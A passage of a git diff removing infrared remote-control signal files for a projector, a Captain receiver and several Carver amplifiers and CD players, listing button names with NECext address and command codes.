-command: 43 00 00 00 -# -name: VIDEO/S -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 44 00 00 00 -# -name: AUTO_PC -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 45 00 00 00 -# -name: KEYSTONE -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 46 00 00 00 -# -name: CURSOR_UP/1 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 47 00 00 00 -# -name: CURSOR_DOWN/3 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 48 00 00 00 -# -name: CURSOR_LEFT/4 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 49 00 00 00 -# -name: CURSOR_RIGHT/2 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 4A 00 00 00 -# -name: SPOT -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 4B 00 00 00 -# -name: IMAGE -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 50 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 51 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 52 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 53 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 54 00 00 00 -# -name: P-TIMER -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 55 00 00 00 -# -name: D.ZOOM_UP -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 56 00 00 00 -# -name: D.ZOOM_DOWN -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 57 00 00 00 -# -name: NO_SHOW -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 58 00 00 00 -# -name: R-CLICK -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 59 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 5A 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 5B 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir deleted file mode 100644 index 5036e8da5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 0A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 13 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 FA 00 00 -command: 16 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir deleted file mode 100644 index 33cad38a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 08 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 09 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0A 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 0B 00 00 00 -# -name: REMOTE_VOL_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 11 00 00 00 -# -name: REMOTE_VOL_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 40 00 00 00 -# -name: HOLOGRAM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 41 00 00 00 -# -name: VOLUME_MASTER_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 42 00 00 00 -# -name: VOLUME_MASTER_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 43 00 00 00 -# -name: REMOTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 45 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 46 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 47 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 48 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 49 00 00 00 -# -name: 1/11 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4A 00 00 00 -# -name: 2/12 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4B 00 00 00 -# -name: 3/13 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4C 00 00 00 -# -name: 4/14 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4D 00 00 00 -# -name: 5/15 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4E 00 00 00 -# -name: 6/16 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 4F 00 00 00 -# -name: 7/17 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 50 00 00 00 -# -name: 8/18 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 51 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 53 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 54 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 55 00 00 00 -# -name: 9/19 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 58 00 00 00 -# -name: 10/20 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5C 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5D 00 00 00 -# -name: ACCD -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir deleted file mode 100644 index 578aa018f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 80 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 81 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 81 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 83 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 84 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 84 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 85 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 85 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 86 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 87 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 87 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 88 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 88 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 89 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 89 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8B 00 00 00 -# -name: SCAN_FWD_>> -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8C 00 00 00 -# -name: SCAN_REV_<< -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8E 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 90 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 90 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 91 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 91 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 92 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 92 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 93 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 93 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 94 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 95 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 95 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 96 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 96 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 97 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 97 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 98 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 99 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9A 00 00 00 -# -name: SOFT_EQ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9A 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9B 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9C 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9D 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9E 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: 9F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: C9 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: CA 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: CB 00 00 00 -# -name: LEVEL_FILE -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: CC 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: CD 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: CE 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: DB 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 87 7B 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir deleted file mode 100644 index b88a89c52..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3A 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir deleted file mode 100644 index 16d8ae685..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0A 00 00 00 -# -name: INTRO. -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0D 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 10 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 13 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 16 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 17 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 18 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 19 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1A 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1D 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir deleted file mode 100644 index 0c6eeee86..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REPEAT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 01 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 02 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 02 00 00 00 -# -name: SEARCH_FFWD_>> -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 03 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 03 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 04 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 05 00 00 00 -# -name: PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 06 00 00 00 -# -name: SKIP_+ -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 07 00 00 00 -# -name: SKIP_- -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 08 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 09 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0C 00 00 00 -# -name: 1_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 11 00 00 00 -# -name: 2_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 12 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 12 00 00 00 -# -name: 3_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 13 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 13 00 00 00 -# -name: 4_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 14 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 14 00 00 00 -# -name: 5_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 15 00 00 00 -# -name: 6_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 16 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 16 00 00 00 -# -name: 7_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 17 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 17 00 00 00 -# -name: 8_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 18 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 18 00 00 00 -# -name: 9_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 19 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 19 00 00 00 -# -name: 10_DISC_SELECT -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir deleted file mode 100644 index f048964bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 10 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY_ON/OFF -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: A_->_B -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 17 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: AUTO_SPACE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1E 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 40 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 42 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 43 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 44 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 45 00 00 00 -# -name: DISC_SELECTOR_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 46 00 00 00 -# -name: DISC_SELECTOR_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 47 00 00 00 -# -name: DISC_SELECTOR_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 48 00 00 00 -# -name: DISC_SELECTOR_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 49 00 00 00 -# -name: DISC_SELECTOR_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir deleted file mode 100644 index ee236c18d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 05 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 06 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 07 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 08 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 0B 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 0C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 0E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 0F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 11 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 13 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 14 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 63 00 00 00 -command: 16 00 00 00 -# -name: 6 -type: 